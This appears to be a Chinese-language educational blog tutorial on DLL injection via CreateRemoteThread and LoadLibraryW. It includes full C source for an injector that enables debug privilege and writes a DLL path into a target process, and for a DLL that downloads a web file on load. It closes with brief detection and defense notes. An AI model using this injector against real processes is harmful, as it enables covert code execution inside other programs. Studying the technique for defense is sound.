DLL注入学习:通过远程线程注入DLL
字数 1837 2025-08-26 22:11:57
DLL注入技术详解:通过远程线程实现DLL注入
一、DLL注入概述
DLL注入是一种将自定义动态链接库(DLL)加载到目标进程地址空间的技术。本文介绍的是通过创建远程线程实现DLL注入的方法,相比使用Windows消息钩子的方式,这种方法针对性更强且运用更为广泛。
二、DLL注入组件
1. 被注入的DLL (dllmain.dll)
1.1 主要功能
- 当DLL被加载到目标进程时,创建一个新线程
- 在新线程中执行下载指定URL文件的操作
1.2 代码结构
#include "windows.h"
#include "tchar.h"
#pragma comment(lib,"urlmon.lib")
#define URL (L"http://www.naver.com/index.html")
#define FILE_NAME (L"index.html")
HMODULE hMod = NULL;
// 线程执行函数
DWORD WINAPI ThreadProc(LPVOID lParam) {
TCHAR szPath[_MAX_PATH] = {0,};
// 获取当前模块路径
if(!GetModuleFileName(hMod, szPath, MAX_PATH)) {
return FALSE;
}
// 截取路径并组合文件名
TCHAR* p = _tcsrchr(szPath, '\\');
if(!p) {
return FALSE;
}
_tcscpy_s(p+1, _MAX_PATH, FILE_NAME);
// 下载文件
URLDownloadToFile(NULL, URL, szPath, 0, NULL);
return 0;
}
// DLL入口函数
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserve) {
HANDLE hThread = NULL;
hMod = (HMODULE)hInstance;
switch(fwdReason) {
case DLL_PROCESS_ATTACH:
OutputDebugString(L"start injection\n");
// 创建线程执行下载操作
hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
CloseHandle(hThread);
break;
default:
break;
}
return TRUE;
}
1.3 关键点解析
-
线程函数(ThreadProc):
- 函数原型:
DWORD WINAPI ThreadProc(_In_ LPVOID lpParameter) - 主要功能:
- 获取当前DLL模块路径
- 组合目标文件保存路径
- 调用
URLDownloadToFile下载文件
- 函数原型:
-
URLDownloadToFile函数:
HRESULT URLDownloadToFile( LPUNKNOWN pCaller, // 通常为NULL LPCTSTR szURL, // 下载URL LPCTSTR szFileName, // 保存路径(包含文件名) _Reserved_ DWORD dwReserved, // 保留参数(0) LPBINDSTATUSCALLBACK lpfnCB // 回调接口(通常为NULL) ); -
DllMain函数:
- 在
DLL_PROCESS_ATTACH时创建线程执行下载操作 - 注意: 这里创建的线程与远程线程不同,它只是DLL内部的功能线程
- 在
2. 注入程序 (inject.cpp)
2.1 主要功能
- 提升当前进程权限
- 将指定DLL注入到目标进程
2.2 代码结构
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#include "Urlmon.h"
// DLL注入函数
BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath) {
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HMODULE hMod = NULL;
LPVOID lRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath)+1)*sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
// 打开目标进程
if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) {
_tprintf(L"进程打开失败");
return FALSE;
}
// 在目标进程分配内存并写入DLL路径
lRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lRemoteBuf, (LPVOID)szDllPath, BufSize, NULL);
// 获取LoadLibraryW函数地址
hMod = GetModuleHandle(L"kernel32.dll");
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
// 创建远程线程执行LoadLibraryW
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
// 提权函数
BOOL EnableDebugPriv() {
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
// 打开当前进程的访问令牌
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) {
printf("提权失败。");
return FALSE;
}
// 查找调试权限的LUID
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
CloseHandle(hToken);
printf("提权失败。");
return FALSE;
}
// 修改访问令牌权限
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) {
printf("提权失败。");
CloseHandle(hToken);
} else {
printf("提权成功!");
return TRUE;
}
}
// 主函数
int _tmain(int argc, _TCHAR* argv[]) {
EnableDebugPriv();
if(injectDll((DWORD)_tstol(argv[1]), argv[2])) {
printf("注入成功");
}
if(!(injectDll((DWORD)_tstol(argv[1]), argv[2]))) {
printf("注入失败");
}
return 0;
}
2.3 关键点解析
-
DLL注入流程:
- 打开目标进程(
OpenProcess) - 在目标进程分配内存(
VirtualAllocEx) - 写入DLL路径到目标进程(
WriteProcessMemory) - 获取
LoadLibraryW函数地址 - 创建远程线程执行
LoadLibraryW(CreateRemoteThread)
- 打开目标进程(
-
关键API详解:
-
VirtualAllocEx:
LPVOID VirtualAllocEx( HANDLE hProcess, // 目标进程句柄 LPVOID lpAddress, // 分配地址(通常为NULL) SIZE_T dwSize, // 分配大小 DWORD flAllocationType, // 分配类型(MEM_COMMIT) DWORD flProtect // 内存保护(PAGE_READWRITE) ); -
WriteProcessMemory:
BOOL WriteProcessMemory( HANDLE hProcess, // 目标进程句柄 LPVOID lpBaseAddress, // 写入地址 LPCVOID lpBuffer, // 数据缓冲区 SIZE_T nSize, // 写入大小 SIZE_T *lpNumberOfBytesWritten // 实际写入大小(通常为NULL) ); -
CreateRemoteThread:
HANDLE CreateRemoteThread( HANDLE hProcess, // 目标进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性(通常为NULL) SIZE_T dwStackSize, // 堆栈大小(通常为0) LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址 LPVOID lpParameter, // 线程参数 DWORD dwCreationFlags, // 创建标志(通常为0) LPDWORD lpThreadId // 线程ID(通常为NULL) );
-
-
提权机制:
-
TOKEN_PRIVILEGES结构体:
typedef struct _TOKEN_PRIVILEGES { DWORD PrivilegeCount; // 特权数量 LUID_AND_ATTRIBUTES Privileges[]; // 特权数组 } TOKEN_PRIVILEGES; -
提权步骤:
- 打开当前进程的访问令牌(
OpenProcessToken) - 查找调试权限的LUID(
LookupPrivilegeValue) - 修改访问令牌权限(
AdjustTokenPrivileges)
- 打开当前进程的访问令牌(
-
三、技术原理分析
1. 远程线程注入原理
-
基本思路:
- 在目标进程中创建一个远程线程
- 让该线程执行
LoadLibrary加载我们的DLL - 从而将DLL注入到目标进程的地址空间
-
为什么需要获取LoadLibrary地址:
- 目标进程可能没有显式调用
LoadLibrary kernel32.dll在所有进程中的加载地址相同- 通过获取本进程中的
LoadLibrary地址即可用于目标进程
- 目标进程可能没有显式调用
-
为什么需要分配内存和写入数据:
LoadLibrary需要DLL路径作为参数- 该路径字符串在目标进程中不存在
- 需要手动在目标进程空间分配内存并写入路径字符串
2. 提权必要性
- 在Windows 7/10等系统上,默认权限可能不足以进行DLL注入
- 需要
SE_DEBUG_NAME权限才能操作其他进程 - 通过修改进程的访问令牌来提升权限
四、调试与测试
1. 测试步骤
- 运行目标进程(如notepad.exe)
- 获取目标进程PID
- 运行注入程序:
inject.exe <PID> <DLL路径> - 验证注入结果:
- 检查目标目录是否下载了指定文件
- 使用Process Explorer查看目标进程加载的DLL
2. 调试技巧
-
使用OD(OllyDbg)调试:
- 设置"当新DLL模块载入时断下"
- 注入后可以跟踪到DLL的加载过程
-
调试注入的DLL:
- 在DllMain的
DLL_PROCESS_ATTACH处设置断点 - 跟踪线程创建和执行过程
- 在DllMain的
五、防御措施
了解DLL注入技术也有助于防御此类攻击:
-
检测手段:
- 监控进程的远程线程创建
- 检查非正常加载的DLL模块
- 监控
CreateRemoteThread等敏感API调用
-
防护措施:
- 使用DEP(数据执行保护)
- 实施ASLR(地址空间布局随机化)
- 限制进程权限
六、总结
通过远程线程实现DLL注入是一种常见且有效的技术,主要流程包括:
- 在目标进程分配内存并写入DLL路径
- 获取
LoadLibrary函数地址 - 创建远程线程执行
LoadLibrary - DLL被加载后执行预设功能
理解这一技术不仅有助于开发相关工具,也能更好地防御此类攻击。在实际应用中,还需要考虑跨系统版本的兼容性和权限等问题。